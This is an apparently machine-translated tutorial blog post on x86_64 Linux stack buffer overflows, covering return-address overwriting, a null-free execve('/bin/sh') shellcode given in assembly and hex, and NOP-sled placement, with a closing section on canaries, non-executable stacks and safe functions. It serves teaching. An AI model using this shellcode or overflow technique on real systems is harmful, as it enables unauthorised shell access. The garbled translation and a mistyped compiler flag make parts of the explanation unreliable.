Buffer overflows (stack overflow)

Foreword

In today's network attacks, buffer overflow attack mode occupies a large part, is a very common buffer overflow vulnerabilities, but at the same time, it is also very dangerous type of vulnerability, ranging from lead to system downtime, heavy It can lead attacker to gain system privileges, and then steal data, whatever they want.

In fact, the buffer attacks said to have simple, consider the following piece of code:

void main(int argc, char *argv[]) {
    char buffer[8];
    if(argc > 1) strcpy(buffer, argv[1]);
}

When we of argv[1]time copying operation, no check its length, this time the attacker can string a length greater than 8 by copying the program to cover the return address, so that the program code is turned to perform the attack, thereby making the system being attacked.

Data in this chapter describes the basic principle of buffer overflow attacks, I will begin to run from the how the program is the use of such a stack data structure, try to write a shellcode, and then use the overflow shellcode to our program will be explained. We want to use the system environment for x86_64 Linux, we have to use gcc (v7.4.0), gdb (v8.1.0) and other tools, in addition, we also need to base a little assembly language, and we use AT & T assembler format.

For me personally, as a novice, I was more in terms of counseling to write this article, but if you find any errors or not the right place, welcome that, I hope this article is helpful to you.

process

In modern operating systems, the process is a program run entity, when the operating system is running a program, the operating system creates a process for our program, and the space required to run in memory allocated to our program these spaces are called process space. The process space of three main parts: the code segment, data segment and stack segment. As shown below:

Stack

Stack is a post-first-out data structure in the most modern programming languages, use this stack data structure to manage calls between processes. So what is calls between process it, put it plainly, a function or a method is a process, and call another method is to process and procedure calls between the internal methods or functions. We know that the program's code is loaded into memory, then a section (here refers to the assembler) to perform, but also from time to time you need to call other functions. When a call to a procedure call procedure is invoked, the memory address where the code to be executed is different when the called procedure after the implementation, but also back to the calling process continues. When calling procedure called procedure is required callinstruction, and callindicates the address of the instruction to be called, for example call 地址, when return to the calling procedure, using retinstruction to return to, but does not need to specify the return address. So we want to know how the program is returned to the place? The main stack of credit: execution callcommand, the program automatically will be callthe address of the next instruction to the stack, we called the return address. When the program returns, program fetch the return address from the stack, and then the program jumps to the return address continue.

Further, another parameter in the call transfer process requires, and local variables of a process (including during open buffers) to be allocated on the stack. Visible, the stack is a mechanism essential to run the program.

But smart you might think about: not to return since the program address stored on the stack, process parameters and local variables are also stored on the stack, we can manipulate the parameters and local variables in the program, so if we can operate return address, and then jump directly to the code we want to run at it? The answer is definitely yes.

Return address program changes

We have a look at this program.

example.c
void func() {
        long *res;
        res = &res + 2;
        *res += 7;
}

void main() {
        int x = 1;
        func();
        x = 0;
        printf("%d\n", x);
}

We use the following command in a shell run the compiler, gcc compiler for the parameters used when we first secrecy.

$ `gcc -fno-stack-protector example.c -o example`
$ ./example

You might say: "Well, well, do not read, so simple, the results are 0 thing." But the result is really the same old thing. In fact, the results of this program is 1. "What, how could this be 1 Well, very, very incredible."

Also remember we mentioned that we can change course in the program return address? In the funcmiddle, watching yes yes right res were meaningless operation, but this has changed the funcreturn address, skip x = 0this assignment command. Let's look at the assembler level seen how this procedure is performed.

$ gdb gdb example
GNU gdb (Ubuntu 8.1-0ubuntu3) 8.1.0.20180409-git
Copyright (C) 2018 Free Software Foundation, Inc.
...
gdb-peda$ disassemble func 
Dump of assembler code for function func:
   0x000000000000064a <+0>: push   %rbp
   0x000000000000064b <+1>: mov    %rsp,%rbp
   0x000000000000064e <+4>: lea    -0x8(%rbp),%rax
   0x0000000000000652 <+8>: add    $0x10,%rax
   0x0000000000000656 <+12>:    mov    %rax,-0x8(%rbp)
   ...
   0x000000000000066e <+36>:    retq   
End of assembler dump.

In gdb, we used disassemble functo look at the funcassembly code function, here, the case is on the program stack, wherein the stack has a width of 8 bytes:

A look at the program you might see, in 4 to 12 lines (in fact the line here should be the first few bytes of the instruction at the function, here for the convenience of so tentatively call it) program to obtain resaddresses, and address plus 0x10 (i.e. 16), which corresponds to a program res = &res + 2;, at this time respoint where the return address is the address, and then *res += 7to change the return address. As for why is plus 7 instead of other numbers, because our aim is to skip the execution x = 0, and x = 0the number of bytes occupied by this program just seven. We used disassemble mainto look at the mainassembly code function.

gdb-peda$ disassemble main 
Dump of assembler code for function main:
   0x000000000000066f <+0>: push   %rbp
   0x0000000000000670 <+1>: mov    %rsp,%rbp
   0x0000000000000673 <+4>: sub    $0x10,%rsp
   0x0000000000000677 <+8>: movl   $0x1,-0x4(%rbp)
   0x000000000000067e <+15>:    mov    $0x0,%eax
   0x0000000000000683 <+20>:    callq  0x64a <func>
   0x0000000000000688 <+25>:    movl   $0x0,-0x4(%rbp)
   0x000000000000068f <+32>:    mov    -0x4(%rbp),%eax
   ...   
End of assembler dump.

The above assembly code, line 25 is the x = 0assembly instructions of this program, our aim is to skip it, that we want to execute code on line 32 directly, and now the return address is pointing to line 25 ( remember earlier said the return address is the callinstruction address of the next instruction it) in order to skip it, we add 7 to the return address.

Overwrite the return address

Now, we probably learned how to modify the program to jump to the return address specified where we perform, but to attack our program is not written ah, we just know that somewhere there is a program that allows us to drive a buffer write data, we can not change the code reform program ah. This time, we will talk about the copy buffer about it.

We also remember the beginning of the program do? Here we have to debug convenience, we add it to the output.

test.c
void main(int argc, char *argv[]) {
    char buffer[8];
    if(argc > 1) strcpy(buffer, argv[1]);
    printf("%s\n", buffer);
}

Our program structure on the stack probably looks like this. Here we changed the look of the stack

When the program to argv[1]proceed with the copy operation, in order to write the characters from the lower to higher addresses. When argv[1]the time is shorter than 8, our buffer bufferis enough space, copy can be done without problems, but we argv[1]are too long, the length of the return address are covered, then mainthe function returns a return address do not know where to go a.

Let's try:

$ gcc -fo-stack-protector  -o test test.c
$ ./test hello
hello
$ ./test helloworld
helloworld
$ ./test helloworld123456789
helloworld123456789
Segmentation fault

When we can see that the given parameters helloworld123456789, our program there have been mistakes, that is, this time, our return address is a broken ring, resulting in mainan error when the function returns. This time the stack looks like the following: the

The front structure of the control stack, found mainfunction return address indeed been destroyed. If we are to address the return address at the cover of a program we want to perform, it is not our program can execute it?

shellcode

So what is the procedure to be performed when it attacks? Under normal circumstances, we would like to get a shell through the overflow buffer, once with the shell, we can "do whatever they want", and so we put this program called shellcode. Then the shellcode in which it can be determined that the system administrator is a shellcode will not stay in the system, they do not tell you: Hey, I've got a shellcode, address xxxx, you are making a return address to cover, to perform in the bar. So, this shellcode also need to write our own, and passed on to attack the system. Where do you want to pass it? Buffer is not exactly a good place thing.

We know that in von Neumann computer architecture, the data and the code is not clear distinction between, that is, something somewhere in memory, the data can be seen as both a program, it can be when for the code to execute. So, we probably have an idea of ​​attack: We will put our shellcode buffer, and then jump to our shellcode at the return address coverage, and then execute our shellcode

Here's how, we will discuss writing a shellcode

First of all, we have to get a shell, need to use the No. 59 and 60 system calls, here are some of the system call table, and C language in the manner specified their parameters.

%rax system call % rdi %rsi %rdx
59 sys_execve const char *filename const char *const argv[] const char* const envp[]
60 sys_exit int error_code

They correspond to the system functions in C language int execve(const char *filename, char *const argv[ ], char *const envp[ ]);and exit(int error_code), execve()for starting a new application process in which the first parameter is the path where the second parameter is a parameter passed to the program, argv array pointer must at the beginning of the program filename, ending NULL, the last parameter to pass a new environment variable program. The exit()arguments indicate its exit code.

The following C language program will be able to get a shell, the shell when the input acquired exitwhen you can withdraw shell, and an exit code of 0.

#include <stdio.h>

void main() {
    char *name[2];
    name[0] = "/bin/sh";
    name[1] = NULL;
    execve(name[0], name, NULL);
    exit(0);
}

Now, let's think about from the assembly point of view, and how to write a function similar to the above, this program shellcode.

  1. First, we need a string "/ bin / sh", and need to know its exact address
  2. Then, we need to pass parameters to the appropriate registers
  3. Finally, the system call.

How easy to get the address of a string of it? One method is to put a string callof instructions later, so that when the calltime of the instruction, the first address of the string will be added to the stack. Well, I will not beat about the bush, and a shellcode is given below

jmp mycall
func: pop %rbx
mov %rbx, 0x8(%rsp)
movb $0x0, 0x7(%rsp)
movl $0x0, 0x10(%rsp)
mov $59, %rax
mov %rbx, %rdi
lea 0x8(%rsp), %rsi
lea 0x10(%rsp), %rdx
syscall
mov $60, %rax
mov $0, %rdi
syscall
mycall: call func
.string \"/bin/sh\"

Now, we turn to look at the meaning of each instruction.

1.  jmp mycall

        当shellcode执行时,会先执行这一条,这会使我们的程序跳转到第14行的call指令处

2.  func: pop %rbx
        
        我们从栈中获取返回地址,这也是字符串所在的地址

3.  mov %rbx, 0x8(%rsp)
4.  movb $0x0, 0x7(%rsp)
5.  movl $0x0, 0x10(%rsp)

        尽管我们有了字符串的地址,但是我们并没有第二个参数和第三个参数所在的地址,所以程序在栈上构造出第二个和第三个参数

6.  mov $59, %rax
7.  mov %rbx, %rdi
8.  lea 0x8(%rsp), %rsi
9.  lea 0x10(%rsp), %rdx

        我们将参数传递给指定的寄存器

10. syscall

        使用syscall指令进行系统调用,这在x86 Linux中为int 0x80

11. mov $60, %rax
12. mov $0, %rdi
13. syscall

        为了使我们的shellcode在退出shell后正常退出,需要调用下exit系统调用,退出代码为0

14. mycall: call func

15. .string \"/bin/sh\"

Now, we have the shellcode, we will start with inline assembly within C language way to test whether it can run.

shellcode_test.c
void main() {
    __asm__(
        "jmp mycall\n\t"
        "func: pop %rbx\n\t"
        "mov %rbx, 0x8(%rsp)\n\t"
        "movb $0x0, 0x7(%rsp)\n\t"
        "movl $0x0, 0x10(%rsp)\n\t"
        "mov $59, %rax\n\t"
        "mov %rbx, %rdi\n\t"
        "lea 0x8(%rsp), %rsi\n\t"
        "lea 0x10(%rsp), %rdx\n\t"
        "syscall\n\t"
        "mov $60, %rax\n\t"
        "mov $0, %rdi\n\t"
        "syscall\n\t"
        "mycall: call func\n\t"
        ".string \"/bin/sh\""
        );
}

Try to compile and run it:

$ gcc shellcode_test.c -o shellcode_test
$ ./shellcode_test 
sh-4.4# exit
exit
$

Wow, our shellcode entirely feasible, but still it does not end. As we all know, programs in memory are stored in binary form, our program is no exception, because we need our shellcode into a buffer to pass, if the code is transmitted directly, it is clearly not enough, we have to pass it should be compiled binary fishes, which can be directly executed on the target machine. Now, we use gdb to convert our program in binary (to be exact should be hexadecimal, but all the same thing)

$ gdb gdb shellcode_test
....
gdb-peda$ disassemble main 
Dump of assembler code for function main:
   0x00000000000005fa <+0>: push   %rbp
   0x00000000000005fb <+1>: mov    %rsp,%rbp
   0x00000000000005fe <+4>: jmp    0x639 <main+63>
   0x0000000000000600 <+6>: pop    %rbx
   0x0000000000000601 <+7>: mov    %rbx,0x8(%rsp)
   0x0000000000000606 <+12>:    movb   $0x0,0x7(%rsp)
   0x000000000000060b <+17>:    movl   $0x0,0x10(%rsp)
   0x0000000000000613 <+25>:    mov    $0x3b,%rax
   0x000000000000061a <+32>:    mov    %rbx,%rdi
   0x000000000000061d <+35>:    lea    0x8(%rsp),%rsi
   0x0000000000000622 <+40>:    lea    0x10(%rsp),%rdx
   0x0000000000000627 <+45>:    syscall 
   0x0000000000000629 <+47>:    mov    $0x3c,%rax
   0x0000000000000630 <+54>:    mov    $0x0,%rdi
   0x0000000000000637 <+61>:    syscall 
   0x0000000000000639 <+63>:    callq  0x600 <main+6>
   0x000000000000063e <+68>:    (bad)  
   0x000000000000063f <+69>:    (bad)  
   0x0000000000000640 <+70>:    imul   $0x90006873,0x2f(%rsi),%ebp
   0x0000000000000647 <+77>:    pop    %rbp
   0x0000000000000648 <+78>:    retq   
End of assembler dump.
gdb-peda$ x /64xb main+4
0x5fe <main+4>: 0xeb    0x39    0x5b    0x48    0x89    0x5c    0x24    0x08
0x606 <main+12>:    0xc6    0x44    0x24    0x07    0x00    0xc7    0x44    0x24
0x60e <main+20>:    0x10    0x00    0x00    0x00    0x00    0x48    0xc7    0xc0
0x616 <main+28>:    0x3b    0x00    0x00    0x00    0x48    0x89    0xdf    0x48
0x61e <main+36>:    0x8d    0x74    0x24    0x08    0x48    0x8d    0x54    0x24
0x626 <main+44>:    0x10    0x0f    0x05    0x48    0xc7    0xc0    0x3c    0x00
0x62e <main+52>:    0x00    0x00    0x48    0xc7    0xc7    0x00    0x00    0x00
0x636 <main+60>:    0x00    0x0f    0x05    0xe8    0xc2    0xff    0xff    0xff

You can see, in addition to strings, our program is from line 4 to line 63, due to the string stored in memory is ascii code, there would be no need to obtain a binary that.

Well, now we have a binary shellcode, but there is a problem. We can see, our program has 0x00 this data, passed as a result of our shellcode string into the buffer, which represents precisely the end of the string also, that is, but we have to string when the buffer copy, when faced with 0x00, regardless of our shellcode there is no complete copy, the copy will stop. We do not want our Exhausted write shellcode has only been copied incomplete. Below, we look to improve our program.

shellcode_test1.c
void main() {
    __asm__(
        "jmp mycall\n\t"
        "func: pop %rbx\n\t"
        "mov %rbx, 0x8(%rsp)\n\t"
        "xor %rax, %rax\n\t"
        "movb %al, 0x7(%rsp)\n\t"
        "movl %eax, 0x10(%rsp)\n\t"
        "movb $0x3b, %al\n\t"
        "mov %rbx, %rdi\n\t"
        "lea 0x8(%rsp), %rsi\n\t"
        "lea 0x10(%rsp), %rdx\n\t"
        "syscall\n\t"
        "xor %rdi, %rdi\n\t"
        "xor %rax, %rax\n\t"
        "movb $60, %al\n\t"
        "syscall\n\t"
        "mycall: call func\n\t"
        ".string \"/bin/sh\""
        );
}

Control shellcode_test.c, we just changed some assignment. Let's look at the results.

$ gcc shellcode_test1.c -o shellcode_test1
$ gdb shellcode_test1
...
gdb-peda$ disassemble main 
Dump of assembler code for function main:
   0x00000000000005fa <+0>: push   %rbp
   0x00000000000005fb <+1>: mov    %rsp,%rbp
   0x00000000000005fe <+4>: jmp    0x62c <main+50>
   0x0000000000000600 <+6>: pop    %rbx
   0x0000000000000601 <+7>: mov    %rbx,0x8(%rsp)
   0x0000000000000606 <+12>:    xor    %rax,%rax
   0x0000000000000609 <+15>:    mov    %al,0x7(%rsp)
   0x000000000000060d <+19>:    mov    %eax,0x10(%rsp)
   0x0000000000000611 <+23>:    mov    $0x3b,%al
   0x0000000000000613 <+25>:    mov    %rbx,%rdi
   0x0000000000000616 <+28>:    lea    0x8(%rsp),%rsi
   0x000000000000061b <+33>:    lea    0x10(%rsp),%rdx
   0x0000000000000620 <+38>:    syscall 
   0x0000000000000622 <+40>:    xor    %rdi,%rdi
   0x0000000000000625 <+43>:    xor    %rax,%rax
   0x0000000000000628 <+46>:    mov    $0x3c,%al
   0x000000000000062a <+48>:    syscall 
   0x000000000000062c <+50>:    callq  0x600 <main+6>
   0x0000000000000631 <+55>:    (bad)  
   0x0000000000000632 <+56>:    (bad)  
   0x0000000000000633 <+57>:    imul   $0x90006873,0x2f(%rsi),%ebp
   0x000000000000063a <+64>:    pop    %rbp
   0x000000000000063b <+65>:    retq   
End of assembler dump.
gdb-peda$ x /51xb main+4
0x5fe <main+4>: 0xeb    0x2c    0x5b    0x48    0x89    0x5c    0x24    0x08
0x606 <main+12>:    0x48    0x31    0xc0    0x88    0x44    0x24    0x07    0x89
0x60e <main+20>:    0x44    0x24    0x10    0xb0    0x3b    0x48    0x89    0xdf
0x616 <main+28>:    0x48    0x8d    0x74    0x24    0x08    0x48    0x8d    0x54
0x61e <main+36>:    0x24    0x10    0x0f    0x05    0x48    0x31    0xff    0x48
0x626 <main+44>:    0x31    0xc0    0xb0    0x3c    0x0f    0x05    0xe8    0xcf
0x62e <main+52>:    0xff    0xff    0xff 

Now, we have no shellcode in a 0x00, and also shortened it.

Now, we can try this shellcode to run as a string.

shellcode.c
#include<stdio.h>
#include<string.h>

char shellcode[] = "\xeb\x2c\x5b\x48\x89\x5c\x24\x08\x48\x31\xc0\x88\x44\x24\x07\x89\x44\x24"
                   "\x10\xb0\x3b\x48\x89\xdf\x48\x8d\x74\x24\x08\x48\x8d\x54\x24\x10\x0f\x05"
                   "\x48\x31\xff\x48\x31\xc0\xb0\x3c\x0f\x05\xe8\xcf\xff\xff\xff/bin/sh";

void test() {
    long  *ret;
    ret = (long *)&ret + 2;
    (*ret) = (long)shellcode;
}

void main() {
    test();
}
$ gcc -z execstack -fno-stack-protector -o shellcode shellcode.c
$ ./shellcode
sh-4.4# exit
exit
$

Ha, you can run.

Use shellcode

Now, we've got shellcode, we also offer an idea in front of the attack, but the final difficulty lies in how we use buffer overflow to modify the return address, to be honest, until now, did not find a blogger elegant, simple way to modify the return address. In some articles I see, the only way is to "test", which of course need to rely on luck, not to mention the operating system is now generally use the stack randomization, not good "test."

A better method is to add a number of front shellcode nopinstruction, and returns with many addresses to be covered later. As the noprepresentative of empty instruction, and only one byte, any return address whether we return to the front of the shellcode nop, the program will be executed to the place where the shellcode, without having to go back to the beginning of the shellcode, which will greatly increase the shellcode probability of being executed.

However, it was not very suitable for some small buffer, because a relatively small buffer and can not have too much nopor too long shellcode, otherwise shellcode address directly or even to cover nop, elsewhere We see that the solution to such a small buffer is also very simple, we put the return address on the front, nopin the middle, shellcode on the final surface, like this:

So in theory, nopit can be a lot of opportunities to execute shellcode will be greatly increased.

Prevention

Modern compilers has joined a number of mechanisms to prevent buffer overflow, for example, buffer overflow inspection (I still remember the earlier sell off the child? We used the -fno-stack-protector parameter gcc is to let the compiler do not join kind of mechanism, so as not to interfere with our experiment.), prohibits -z execstack executing code (shellcode.c compiled within the stack used, this parameter is within the allowable stack code execution). Buffer overflow checking means before the local variables on the stack allocation, allocate some space to store a number, when the program returns before, check this number has not changed, if they are changed, the interrupt is triggered immediately, prevent to execute shellcode. In addition, modern operating system also joined a number of measures to prevent buffer overflows, such as randomized stack (which in turn greatly reduces the chances of our return address of "suspect" in).

However, despite operating systems and compilers have joined so many mechanisms to prevent buffer overflow, however, there is always the attacker various ways to circumvent these mechanisms, so, to prevent buffer overflow fundamentally, we still want write a program to start in the former buffer zone operation, be sure to limit its scope of operation, do not use those dangerous function, for example gets, does not limit the length strcpyand so on.

summary

That rely on the stack is performed, and local variables allocated on the stack, callthe instruction will be the return address on the stack, which is a prerequisite for buffer overflow.

Buffer overflows are covered by the return address, and then to carry out an attack program (shellcode) to achieve.

After the completion of writing shellcode to be converted to binary (hexadecimal) data, and may not appear 0x00, which represents the end of the string

To prevent buffer overflow using the correct compiler options, more important is the correct programming.


Finish

Guess you like

Origin www.cnblogs.com/tcctw/p/11487645.html